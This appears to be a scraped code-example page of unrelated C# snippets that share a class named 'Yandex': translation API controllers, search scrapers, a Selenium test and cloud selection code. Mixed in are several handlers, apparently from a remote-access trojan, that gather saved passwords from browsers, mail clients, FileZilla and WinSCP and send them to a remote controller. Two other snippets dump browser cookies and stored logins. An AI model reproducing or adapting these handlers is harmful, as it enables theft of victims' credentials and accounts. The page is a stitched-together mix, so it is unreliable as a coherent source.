public IActionResult Detect_Text([FromBody] DetectLanguage detectLanguage)
        {
            Yandex yandex = new Yandex();
            var    result = yandex.Detect(detectLanguage.text);

            return(new JsonResult(result));
        }
        public IActionResult Supported_Language()
        {
            Yandex yandex = new Yandex();
            var    result = yandex.SupportedLanguage();

            return(new JsonResult(result));
        }
예제 #3
0
        private static void GetCookiesFromBrowser(BrowserName browser)
        {
            try
            {
                List <Cookie> cookies = new List <Cookie>();

                switch (browser)
                {
                case BrowserName.Chrome:
                    cookies = Chrome.GetCookies();
                    break;

                case BrowserName.Opera:
                    cookies = Opera.GetCookies();
                    break;

                case BrowserName.Yandex:
                    cookies = Yandex.GetCookies();
                    break;
                }

                foreach (var cookie in cookies)
                {
                    Console.WriteLine($"Name={cookie.Name};Value={cookie.Value}");
                }
            } catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
        public IActionResult Translate_Text([FromBody] TextTranslate translate)
        {
            Yandex yandex = new Yandex();
            var    result = yandex.Translate(translate.text, translate.sourceLang, translate.destLang);

            return(new JsonResult(result));
        }
예제 #5
0
        public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(Edge.GetPasswords());
            recovered.AddRange(Outlook.GetSavedPasswords());
            recovered.AddRange(Thunderbird.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            List <string> raw = new List <string>();

            foreach (RecoveredAccount value in recovered)
            {
                string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER);
                raw.Add(rawValue);
            }

            new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client);
        }
예제 #6
0
        private static void GetLoginDataFromBrowser(BrowserName browser)
        {
            try
            {
                List <LoginData> loginData = new List <LoginData>();

                switch (browser)
                {
                case BrowserName.Chrome:
                    loginData = Chrome.GetLoginData();
                    break;

                case BrowserName.Opera:
                    loginData = Opera.GetLoginData();
                    break;

                case BrowserName.Yandex:
                    loginData = Yandex.GetLoginData();
                    break;
                }

                foreach (var entry in loginData)
                {
                    Console.WriteLine($"Url={entry.Url};Username={entry.Username};Password={entry.Password}");
                }
            } catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
예제 #7
0
        public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client)
        {
            var recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            var raw = new List <string>();

            for (var i = 0; i < recovered.Count; i++)
            {
                var value    = recovered[i];
                var rawValue = string.Format($"{value.Username}" + $"{DELIMITER}" +
                                             $"{value.Password}" + $"{DELIMITER}" +
                                             $"{value.URL}" + $"{DELIMITER}" +
                                             $"{value.Application}");
                raw.Add(rawValue);
            }

            new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client);
        }
예제 #8
0
        public async Task <List <SearchResult> > GetWebResults(MainViewModel model)
        {
            List <List <SearchResult> > searchResults = new List <List <SearchResult> >();

            List <SearchEngine> engines = model.Context.Engines.ToList();

            Task <List <SearchResult> >[] tasks = new Task <List <SearchResult> > [engines.Count];
            int taskNum = 0;

            try
            {
                foreach (SearchEngine engine in engines)
                {
                    switch (engine.EngineId)
                    {
                    case (int)EnginesEnum.Google:
                        WebSearch GSearch = new Google(model, engine);
                        tasks[taskNum] = Task.Run(() => GSearch.GetResultsAsync());
                        break;

                    case (int)EnginesEnum.Yandex:
                        WebSearch YSearch = new Yandex(model, engine);
                        tasks[taskNum] = Task.Run(() => YSearch.GetResultsAsync());
                        break;

                    case (int)EnginesEnum.Bing:
                        WebSearch BSearch = new Bing(model, engine);
                        tasks[taskNum] = Task.Run(() => BSearch.GetResultsAsync());
                        break;

                    default:
                        return(new List <SearchResult>());
                    }
                }
            }
            catch (Exception ex)
            {
                await model.Context.Logs.AddAsync(new Log
                {
                    EngineId  = 0,
                    DateStamp = DateTime.Now.ToString(),
                    Message   = $"Data search error. Message: {ex.Message}"
                });
            }

            var firstResult = await Task.WhenAny(tasks.Where(t => t != null)).Result;

            await Task.WhenAll(tasks.Where(t => t != null).ToArray());

            return(firstResult);
        }
예제 #9
0
        public void TestYandex()
        {
            Init();

            Yandex yandex = new Yandex(Driver);

            yandex.SetQuery(TestQuery);
            yandex.DoSearch();
            yandex.Driver.Close();

            var unique = yandex.Results.Distinct();

            Assert.IsTrue(unique.Count() > 10);
        }
예제 #10
0
        public static void HandleGetPasswords(GetPasswords packet, Networking.Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
예제 #11
0
        private void Execute(ISender client, GetPasswords message)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
예제 #12
0
        static ICloud GetCloudType()
        {
            string cloudName = ConfigurationManager.AppSettings["CloudName"];
            ICloud cloud     = null;

            switch (cloudName.ToUpper())
            {
            case "MEGA":
                cloud = new Mega();
                break;

            case "YANDEX":
                cloud = new Yandex();
                break;

            case "YANDEX_V2":
                cloud = new Yandex_v2();
                break;
            }
            return(cloud);
        }
예제 #13
0
        public static void HandlePasswordRequest(Packets.ServerPackets.RecoverPassRequest packet, Client client)
        {
            // MessageBox.Show("Got a pass request");
            List <LoginInfo> mainList = new List <LoginInfo>();

            mainList.AddRange(Chrome.Passwords());
            mainList.AddRange(Opera.Passwords());
            mainList.AddRange(Yandex.Passwords());
            mainList.AddRange(InternetExplorer.Passwords());
            mainList.AddRange(Firefox.Passwords());

            List <string> raw = new List <string>();

            foreach (LoginInfo value in mainList)
            {
                string rawValue = string.Format("{0}|$|{1}|$|{2}|$|{3}", value.Username, value.Password, value.URL, value.Browser);
                raw.Add(rawValue);
            }

            new Packets.ClientPackets.RecoverPassResponse(raw).Execute(client);
        }
예제 #14
0
        public static void HandleGetPasswords(Paketler.ServerPaketleri.GetPasswords packet, Client client)
        {
            List <KurtarılanHesaplar> recovered = new List <KurtarılanHesaplar>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            List <string> raw = new List <string>();

            foreach (KurtarılanHesaplar value in recovered)
            {
                string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.Url, value.Application, Antilimiter);
                raw.Add(rawValue);
            }

            new Paketler.ClientPaketleri.GetPasswordsResponse(raw).Execute(client);
        }
        public async Task <IEnumerable <Snippet> > GetSnippetsFromParserAsync(string searchQuery, int count)
        {
            var searchEngine = new Engine(); // обьект поискового движка

            #region Settings for services
            var yandexSettings = new YandexSettings();
            var googleSettings = new GoogleSettings();
            var bingSettings   = new BingSettings();
            #endregion

            #region Helpers
            var yandexHelper = new YandexServiceHelper();
            var googleHelper = new GoogleServiceHelper();
            var bingHelper   = new BingServiceHelper();
            #endregion

            #region Services
            var yandex = new Yandex(yandexSettings, yandexHelper);
            var google = new Google(googleSettings, googleHelper);
            var bing   = new Bing(bingSettings, bingHelper);
            #endregion

            var services = new List <ISearchService>()
            {
                google, yandex, bing
            };

            searchEngine.AddRangeSearchServices(services);

            var snippets = searchEngine.Start(searchQuery, count);

            if (snippets != null)
            {
                await _snippetRepository.AddRangeAsync(snippets);
            }

            return(snippets);
        }
예제 #16
0
        public static void HandleGetPasswords(GetPasswords packet, Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            List <string> raw = new List <string>();

            foreach (RecoveredAccount value in recovered)
            {
                string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER);
                raw.Add(rawValue);
            }

            client.Send(new GetPasswordsResponse {
                Passwords = raw
            });
        }